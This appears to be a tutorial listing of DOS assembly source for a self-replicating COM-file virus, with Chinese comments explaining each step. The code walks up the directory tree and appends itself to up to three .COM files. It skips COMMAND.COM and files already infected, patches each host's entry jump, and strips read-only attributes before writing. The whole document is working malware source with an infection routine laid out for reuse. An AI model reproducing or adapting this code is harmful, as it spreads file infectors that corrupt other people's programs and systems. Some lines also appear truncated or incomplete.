.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next
; 让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所
; 以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋
; 文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏
; 移(这里是BP)
mov dl, 0000h
mov ah, 0047h
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah
int 0021h
; 上面一段把当前目录保存在一个变量里面。
; 你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA在仍然属于命令行的PSP的80h byte处。
; 你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢?
; 那就是我们保存DTA的原因
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
mov byte ptr [bp+numinfect], 0000h
; 上面一段是恢复被感染COM文件的前三个bytes,在offset 100h 处还把这个
; offset保存在DI里面以备后用。最后一行是把真正感染的个数初始化为0
; (计数器)
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse
mov ah, 003Bh
lea dx, [bp+offset dot_dot]
int 0021h
jnc traverse_loop
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si]
mov ah, 003Bh
xchg dx, si
int 0021h
; 这里我们所做的就是感染当前目录下的所有文件,做完这个后,来到..目录下,
; 即当前目录的上一级目录。
; 当没有更多的目录后,我们就来到我们最先所处的目录。
mov dx, 0080h
mov ah, 001Ah
int 0021h
return:
ret
; 这一段恢复DTA为原先的地址,在Program Segment Prefix(PSP)的offset 80h 处
; 然后返回到原先的offset 100h,为了正常地执行这个文件。
; (记住我们当di=100h时,执行了push di操作。
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh
mov cx, 0007h
findfirstnext:
int 0021h
jc return
; 在这段代码中,我们所做的是在当前目录下面寻找和保存在DX里的通配符(在这
; 个例子里"*.COM"),可以为任意类型的文件。
; Old3 是处理被感染了的COM文件的前3字节。
; 如果没有符合的文件,一个进位标志将会返回,然后跳转到把控制权交
; 给主程序的处理程序。如果我们发现至少有一个可以感染,就跳转到接下来的
; 代码,处理完了后,再寻找其它文件。
cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh
jz findfirstnext
; 这一段处理不要感染command.com这个文件,检查文件在某个位置name+5(DTA+35)
; 有字符 DN (不是ND,是因为这两个是倒着存储的!)
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h
push ax
xor cx, cx
int 0021h
; 上面一段第一部分有两个功能:为将来恢复文件的属性而保存文件的属性,
; 检查文件是否存在或者是否有问题。
; 第二部分在堆栈中保存4301h(写属性的函数)和清除文件讨厌的属性如只读
; 属性 :)
lea dx, [bp+newDTA+30]
mov ax, 3D02h
int 0021h
xchg ax, bx
mov ax, 5700h
int 0021h
push cx
push dx
; 第一部分以读/写模式打开文件,并把文件句柄放在BX中,放这里将会更有用。
; 指令的第二部分获得文件的日期和时间然后保存在堆栈中。
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
; 第一部分读取1Ah 字节(26) 到读缓冲区中,为后来做准备。
; 第二部分把文件指针指向文件尾,有两个原因:1.把文件大小放到AX中
; 2.我们将在文件尾添上病毒。
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1]
add cx, heap-start+3
cmp ax, cx
jl skipp
jmp_close:
jmp close
; 第一部分比较打开的COM文件的前两个字节,为了分辨清楚这个文件是否是一个
; 错误命名的EXE文件(记住字符串必须是倒序)。
; 第二部分检查以前的感染,比较 病毒大小+目标文件(被感染前)大小是否和
; 目标文件的实际大小是否相等。
skipp:
cmp ax, 65535-(endheap-start)
ja jmp_close ; Exit if so
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
; 上面指令的第一部分检查COM文件的大小,看看我们能否感染它(COM文件大小+病毒
; 大小不能>0FFFFh(65535)),如果大于了,PSP 和堆栈会"撑爆"文件。
; 第二部分把old3的值(3 字节) 赋到读缓冲区中。
sub ax, 0003h
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start]
mov cx, heap-start
mov ah, 0040h
int 0021h
; 第一部分计算跳转到病毒的代码并把结果保存在一个变量中。
; 第二部分把病毒附到目标文件后面:)
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
; 第一部分把文件指针指向文件开头,第二部分写跳转到病毒的代码。
; 第三部分使变量增加以 记住已经成功感染的次数。
close:
mov ax, 5701h
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax
pop dx
pop cx
int 0021h
mov ah, 004Fh
jmp findfirstnext
; 上面指令的第一部分恢复存储在DTA里面的文件的时间和日期。
; 第二部分关闭文件而第三部分被感染文件原先的属性。
; 最后一部分赋AX以调用DOS的FindNext函数,并寻找更多的文件来感染。
endheap:
end carrier